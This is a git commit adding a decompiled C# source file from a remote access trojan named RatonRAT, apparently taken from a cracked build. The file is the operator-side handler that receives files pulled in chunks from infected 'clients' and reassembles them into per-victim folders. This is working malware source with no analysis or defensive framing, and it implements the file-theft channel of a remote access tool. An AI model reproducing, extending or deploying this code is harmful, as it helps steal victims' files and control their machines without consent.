initial commit

This commit is contained in:
i2p
2026-08-27 11:23:13 -06:00
commit 21b93ff794
837 changed files with 181368 additions and 0 deletions
@@ -0,0 +1,300 @@
// Decompiled with JetBrains decompiler
// Type: RatonRAT.Handlers.FileTransfer.HandleDownload
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Misc;
using RatonAccessTool.Helpers;
using Server.Connection;
using Stuff;
using System;
using System.IO;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
#nullable disable
namespace RatonRAT.Handlers.FileTransfer;
internal class HandleDownload
{
private const long MAX_CHUNK_SIZE = 52428800 /*0x03200000*/;
private const long MAX_FILE_SIZE = 2147483648 /*0x80000000*/;
private const int MAX_TEMP_COUNT = 1000;
private const int MAX_FILENAME_LENGTH = 255 /*0xFF*/;
private static string FormatSize(long bytes)
{
string[] strArray = new string[5]
{
"B",
"KB",
"MB",
"GB",
"TB"
};
double num = (double) bytes;
int index;
for (index = 0; num >= 1024.0 && index < strArray.Length - 1; num /= 1024.0)
++index;
return $"{num:0.##} {strArray[index]}";
}
public async Task Run(SillyClient sillyClient, Unpack unpack)
{
string duid = unpack.GetAsString("DUID");
ratonFIle formFile = Application.OpenForms["File ID: " + duid] as ratonFIle;
if (formFile == null)
{
duid = (string) null;
}
else
{
try
{
if (formFile.SillyClient == null)
formFile.SillyClient = sillyClient;
string uid = unpack.GetAsString("UID");
string fileName = unpack.GetAsString("FileName");
long fileSize = unpack.GetAsLong("FileSize");
byte[] fileBytes = unpack.GetAsByteArray("FileBytes");
string tempName = unpack.GetAsString("TempName");
formFile.FileSize = fileSize;
await formFile.SafeUI((Action) (() =>
{
formFile.lblSize.Text = "Size: " + HandleDownload.FormatSize(fileSize);
formFile.lblName.Text = fileName;
}));
formFile.UID = uid;
formFile.FileName = fileName;
Console.WriteLine($"file size {fileSize} | tempname: {tempName}");
if (string.IsNullOrWhiteSpace(uid) || uid.Length > 20)
{
await this.LogAndNotify(formFile, "Invalid UID", "Transfer aborted: invalid client ID");
duid = (string) null;
return;
}
if (string.IsNullOrWhiteSpace(fileName) || fileName.Length > (int) byte.MaxValue)
{
await this.LogAndNotify(formFile, "Invalid filename", "Transfer aborted: invalid filename");
duid = (string) null;
return;
}
if (fileSize == 0L)
{
await this.LogAndNotify(formFile, "Remote file is empty", "The file on the client is empty or does not exist");
duid = (string) null;
return;
}
if (fileSize < 0L || fileSize > 2147483648L /*0x80000000*/)
{
await this.LogAndNotify(formFile, $"Invalid file size: {fileSize}", "Transfer aborted: file size out of range");
duid = (string) null;
return;
}
if (fileBytes != null && fileBytes.Length > 52428800 /*0x03200000*/)
{
await this.LogAndNotify(formFile, $"Chunk too large: {fileBytes.Length} bytes", "Transfer aborted: chunk size exceeds limit");
duid = (string) null;
return;
}
if (string.IsNullOrEmpty(tempName))
{
duid = (string) null;
return;
}
long total;
lock (formFile.OneByOne)
{
if (fileBytes == null)
{
duid = (string) null;
return;
}
if (fileBytes.Length == 0)
{
duid = (string) null;
return;
}
if (formFile.TotalFileSize + (long) fileBytes.Length > fileSize)
{
formFile.Status("Transfer error: size mismatch");
duid = (string) null;
return;
}
formFile.TotalFileSize += (long) fileBytes.Length;
total = formFile.TotalFileSize;
}
await this.STF(uid, tempName, fileBytes).ConfigureAwait(false);
if (total != fileSize)
{
duid = (string) null;
return;
}
await formFile.SafeUI((Action) (() =>
{
formFile.flatProgressBar1.Value = 99;
formFile.lblPorcent.Text = "99%";
formFile.timer2.Stop();
formFile.Status("Exporting...");
}));
await Task.Delay(500);
long asInteger = (long) unpack.GetAsInteger("TempCount");
await this.SF(uid, duid, fileName, asInteger, formFile).ConfigureAwait(false);
await Task.Delay(500);
await formFile.SafeUI((Action) (() =>
{
formFile.flatProgressBar1.Value = 100;
formFile.lblPorcent.Text = "100%";
formFile.Status("File downloaded: Check your client folder");
}));
uid = (string) null;
fileBytes = (byte[]) null;
tempName = (string) null;
}
catch (UnauthorizedAccessException ex)
{
await this.LogAndNotify(formFile, "Access denied: " + ex.Message, "Download failed: Access denied");
}
catch (IOException ex)
{
await this.LogAndNotify(formFile, "I/O error: " + ex.Message, "Download failed: Disk error");
}
catch (Exception ex)
{
await this.LogAndNotify(formFile, "Unexpected error: " + ex.Message, "Download failed: An error occurred");
}
duid = (string) null;
}
}
private async Task LogAndNotify(ratonFIle formFile, string internalLog, string userMessage)
{
Console.WriteLine("[HandleDownload] " + internalLog);
await formFile.SafeUI((Action) (() =>
{
formFile.timer2.Stop();
formFile.Status(userMessage);
}));
}
private static string SafeCombine(string baseFolder, string unsafeName)
{
unsafeName = Path.GetFileName(unsafeName);
if (string.IsNullOrWhiteSpace(unsafeName))
throw new ArgumentException("Invalid file name");
if (unsafeName.IndexOfAny(Path.GetInvalidFileNameChars()) >= 0)
throw new ArgumentException("File name contains invalid characters");
string fullPath1 = Path.GetFullPath(baseFolder);
string fullPath2 = Path.GetFullPath(Path.Combine(fullPath1, unsafeName));
return fullPath2.StartsWith(fullPath1, StringComparison.OrdinalIgnoreCase) ? fullPath2 : throw new UnauthorizedAccessException("Path traversal detected");
}
public async Task STF(string uid, string tempName, byte[] fileBytes)
{
if (string.IsNullOrWhiteSpace(uid) || uid.Length > 20)
throw new ArgumentException("Invalid UID");
if (string.IsNullOrWhiteSpace(tempName))
throw new ArgumentException("Invalid temp name");
if (fileBytes == null || fileBytes.Length == 0)
throw new ArgumentException("Invalid chunk data");
if (fileBytes.Length > 52428800 /*0x03200000*/)
throw new ArgumentException("Chunk size exceeds limit");
uid = Path.GetFileName(uid);
tempName = Path.GetFileName(tempName);
string str = Path.Combine(Program.DataFolder, uid);
if (!Directory.Exists(str))
Directory.CreateDirectory(str);
string path = HandleDownload.SafeCombine(str, tempName);
try
{
using (FileStream fs = new FileStream(path, FileMode.Create, FileAccess.Write, FileShare.None, 8192 /*0x2000*/, true))
{
await fs.WriteAsync(fileBytes, 0, fileBytes.Length).ConfigureAwait(false);
await fs.FlushAsync().ConfigureAwait(false);
}
}
catch (IOException ex)
{
throw;
}
}
public async Task SF(string uid, string duid, string fileName, long TempCount, ratonFIle ff)
{
if (string.IsNullOrWhiteSpace(uid) || uid.Length > 20)
throw new ArgumentException("Invalid UID");
if (string.IsNullOrWhiteSpace(fileName) || fileName.Length > (int) byte.MaxValue)
throw new ArgumentException("Invalid filename");
if (TempCount <= 0L || TempCount > 1000L)
throw new ArgumentException($"TempCount must be between 1 and {1000}");
uid = Path.GetFileName(uid);
fileName = Path.GetFileName(fileName);
string str = Path.Combine(Program.ClientsFolder, uid);
if (!Directory.Exists(str))
Directory.CreateDirectory(str);
string filePath = HandleDownload.SafeCombine(str, fileName);
string tempFolder = Path.Combine(Program.DataFolder, uid);
try
{
using (FileStream fs = new FileStream(filePath, FileMode.Create, FileAccess.Write, FileShare.None, 65536 /*0x010000*/, true))
{
for (int i = 1; (long) i <= TempCount; ++i)
{
string tempPath = HandleDownload.SafeCombine(tempFolder, Stuff.Helpers.MD5_STRING(Encoding.UTF8.GetBytes(fileName + duid + i.ToString())));
try
{
if (File.Exists(tempPath))
{
if (new FileInfo(tempPath).Length <= 52428800L /*0x03200000*/)
{
byte[] buffer = await Task.Run<byte[]>((Func<byte[]>) (() => File.ReadAllBytes(tempPath))).ConfigureAwait(false);
await fs.WriteAsync(buffer, 0, buffer.Length).ConfigureAwait(false);
try
{
File.Delete(tempPath);
}
catch
{
}
await ff.SafeUI((Action) (() => ff.Status($"Exporting ({i}/{TempCount})")));
}
else
continue;
}
else
continue;
}
catch (FileNotFoundException ex)
{
continue;
}
catch (IOException ex)
{
throw;
}
catch (UnauthorizedAccessException ex)
{
throw;
}
}
await fs.FlushAsync().ConfigureAwait(false);
}
}
catch (Exception ex)
{
try
{
if (File.Exists(filePath))
File.Delete(filePath);
}
catch
{
}
throw;
}
filePath = (string) null;
tempFolder = (string) null;
}
}